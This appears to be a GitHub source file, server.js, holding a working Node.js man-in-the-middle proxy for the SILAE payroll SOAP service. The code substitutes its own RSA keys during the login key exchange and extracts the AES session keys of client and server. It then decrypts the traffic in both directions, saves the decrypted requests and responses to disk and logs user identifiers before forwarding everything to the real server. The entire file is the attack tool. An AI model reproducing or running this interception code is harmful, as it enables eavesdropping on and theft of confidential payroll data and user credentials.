-
Notifications
You must be signed in to change notification settings - Fork 1
/
server.js
234 lines (198 loc) · 7.72 KB
/
server.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
var url = 'http://www.silaexpert01.fr/SILAE/IWCF/IWCF.svc';
var express = require('express');
var NodeRSA = require('node-rsa');
var fs = require('fs');
var request = require('request');
var Handlebars = require('Handlebars');
var extractAES = require('./extractAES');
var mitmKey = new NodeRSA(undefined, undefined, {encryptionScheme: 'pkcs1'}).generateKeyPair();
var mitmPublic = mitmKey.exportKey('components-public').n.slice(1).toString("base64");
var clientKey = new NodeRSA(undefined, undefined, {encryptionScheme: 'pkcs1'});
var serverKey = new NodeRSA(undefined, undefined, {encryptionScheme: 'pkcs1'});
var loginRequest = Handlebars.compile(fs.readFileSync('soap/loginRequest.xml').toString());
var loginResponse = Handlebars.compile(fs.readFileSync('soap/loginResponse.xml').toString());
var genericRequest = Handlebars.compile(fs.readFileSync('soap/genericRequest.xml').toString());
var genericResponse = Handlebars.compile(fs.readFileSync('soap/genericResponse.xml').toString());
var aesClient = null;
var aesServer = null;
var index = 1;
fs.writeFileSync('mitm.pem', mitmKey.exportKey('private'));
var app = express()
app.use(function(req, res, next) {
req.rawBody = '';
req.setEncoding('utf8');
req.on('data', function(chunk) {
req.rawBody += chunk;
});
req.on('end', function() {
next();
});
});
app.listen(3000);
console.log("Server listening on port 3000");
console.log("PUBLIC KEY:", mitmPublic)
app.post('/SILAE/IWCF/IWCF.svc', function (req, res) {
res.set('Content-Type', 'application/soap+xml; charset=utf-8');
if(req.rawBody.indexOf("CM_IDENTIFICATION") >= 0) {
keyExchange(req.rawBody, function(uuid, clientId, serverPubKey){
var fakeResponseBody = loginResponse({
uuid: uuid,
userId: clientId,
serverKey: mitmPublic
});
console.log("TO CLIENT", fakeResponseBody);
res.send(fakeResponseBody);
return;
});
} else {
console.log('Other request');
var bufferPayload = new Buffer(getPayload(req.rawBody), "base64");
if(bufferPayload[0] == 0) {
console.log("NO AES INFO");
requestWithoutAes(req.rawBody, function(serverResponse) {
console.log("FROM SERVER", serverResponse);
var uuid = getUUID(serverResponse);
var serverPayload = getPayload(serverResponse);
var bufferPayload = new Buffer(serverPayload, "base64");
var cryptedBuffer = new Buffer(bufferPayload.slice(1).toString("hex"), "hex");
var decryptedBuffer = extractAES.decrypt(cryptedBuffer, aesServer);
fs.writeFileSync('response_' + index + '.bin', decryptedBuffer);
index++;
console.log("decrypt1", decryptedBuffer.toString("base64"));
console.log("decrypt", decryptedBuffer.toString());
res.send(serverResponse);
return;
});
} else if(bufferPayload[0] == 1) {
console.log("GOT AES KEY");
requestWithAes(req.rawBody, function(serverResponse) {
console.log("FROM SERVER", serverResponse);
var serverAesResponse = new Buffer(getPayload(serverResponse), "base64");
if(serverAesResponse[0] == 1) {
console.log("SERVER RESPONSE WITH AES");
var uuid = getUUID(serverResponse);
aesServer = extractAES.extractAESKey(new Buffer(serverAesResponse.slice(1).toString("hex"), "hex"), mitmKey);
var crypted = new Buffer(serverAesResponse.length - 256 - 32 - 8 - 1);
serverAesResponse.copy(crypted, 0, 256 + 32 + 8 + 1, serverAesResponse.length);
var decryptedBuffer = extractAES.decrypt(crypted, aesServer);
console.log("SERVER RESPONSE :", decryptedBuffer.toString());
fs.writeFileSync('response_' + index + '.bin', decryptedBuffer);
index++;
var clientPayload = extractAES.insertAESKey(crypted, aesServer, clientKey);
var fakeResponseBody = genericResponse({
uuid: uuid,
response: clientPayload.toString("base64")
});
console.log("TO CLIENT", fakeResponseBody);
res.send(fakeResponseBody);
return;
}
});
}
}
})
keyExchange = function (bodyClient, callback) {
var uuid = getUUID(bodyClient);
clientKey.importKey({
n: new Buffer(getKey(bodyClient), "base64"),
e: 65537
}, 'components-public');
fs.writeFileSync('client.pem', clientKey.exportKey('public'));
var fakeRequestBody = loginRequest({
uuid: uuid,
clientKey: mitmPublic
});
console.log("TO SERVER", fakeRequestBody);
request.post({
url: url,
body : fakeRequestBody,
headers: {'Content-Type': 'application/soap+xml; charset=utf-8'}
}, function (error, response, body) {
console.log("RESPONSE_FROM_SERVER", body);
console.log("CLIENT $USR", getUserId(body));
if (!error && response.statusCode == 200) {
serverKey.importKey({
n: new Buffer(getKey(body), "base64"),
e: 65537
}, 'components-public');
fs.writeFileSync('server.pem', serverKey.exportKey('public'));
callback(uuid, getUserId(body));
}
}
);
}
requestWithAes = function (bodyClient, callback) {
var uuid = getUUID(bodyClient);
var clientId = getUserId(bodyClient);
console.log("REQUEST WITH AES", clientId);
var bufferPayload = new Buffer(getPayload(bodyClient), "base64");
aesClient = extractAES.extractAESKey(new Buffer(bufferPayload.slice(1).toString("hex"), "hex"), mitmKey);
var crypted = new Buffer(bufferPayload.length - 256 - 32 - 8 - 1);
bufferPayload.copy(crypted, 0, 256 + 32 + 8 + 1, bufferPayload.length);
var decryptedBuffer = extractAES.decrypt(crypted, aesClient);
console.log("decrypt1", decryptedBuffer.toString("base64"));
console.log("decrypt", decryptedBuffer.toString());
fs.writeFileSync('request_'+index+'.bin', decryptedBuffer);
index++;
var mitmPayload = extractAES.insertAESKey(crypted, aesClient, serverKey);
console.log(mitmPayload.toString("base64"));
var fakeRequestBody = genericRequest({
uuid: uuid,
userId: clientId,
payload: mitmPayload.toString("base64")
});
console.log("TO SERVER", fakeRequestBody);
request.post({
url: url,
body : fakeRequestBody,
headers: {'Content-Type': 'application/soap+xml; charset=utf-8'}
}, function (error, response, body) {
console.log("RESPONSE_FROM_SERVER", body)
if (!error && response.statusCode == 200) {
callback(body);
}
}
);
}
requestWithoutAes = function (bodyClient, callback) {
var uuid = getUUID(bodyClient);
var clientId = getUserId(bodyClient);
console.log("REQUEST WITHOUT AES", clientId);
var clientPayload = getPayload(bodyClient);
var bufferPayload = new Buffer(clientPayload, "base64");
var cryptedBuffer = new Buffer(bufferPayload.slice(1).toString("hex"), "hex");
var decryptedBuffer = extractAES.decrypt(cryptedBuffer, aesClient);
fs.writeFileSync('request_'+index+'.bin', decryptedBuffer);
index++;
console.log("decrypt1", decryptedBuffer.toString("base64"));
console.log("decrypt", decryptedBuffer.toString());
var fakeRequestBody = genericRequest({
uuid: uuid,
userId: clientId,
payload: clientPayload
});
console.log("TO SERVER", fakeRequestBody);
request.post({
url: url,
body : fakeRequestBody,
headers: {'Content-Type': 'application/soap+xml; charset=utf-8'}
}, function (error, response, body) {
console.log("RESPONSE_FROM_SERVER", body)
if (!error && response.statusCode == 200) {
callback(body);
}
}
);
}
getUUID = function (body) {
return /rn:uuid:([a-f0-9\-]+)/.exec(body)[1];
}
getKey = function (body) {
return /Modulus>([^\&]+)</.exec(body)[1];
}
getPayload = function (body) {
return /base64Binary[^>]+>([^<]+)/.exec(body)[1];
}
getUserId = function (body) {
return /\$USR.*?XMLSchema">([^<]+)/.exec(body)[1];
}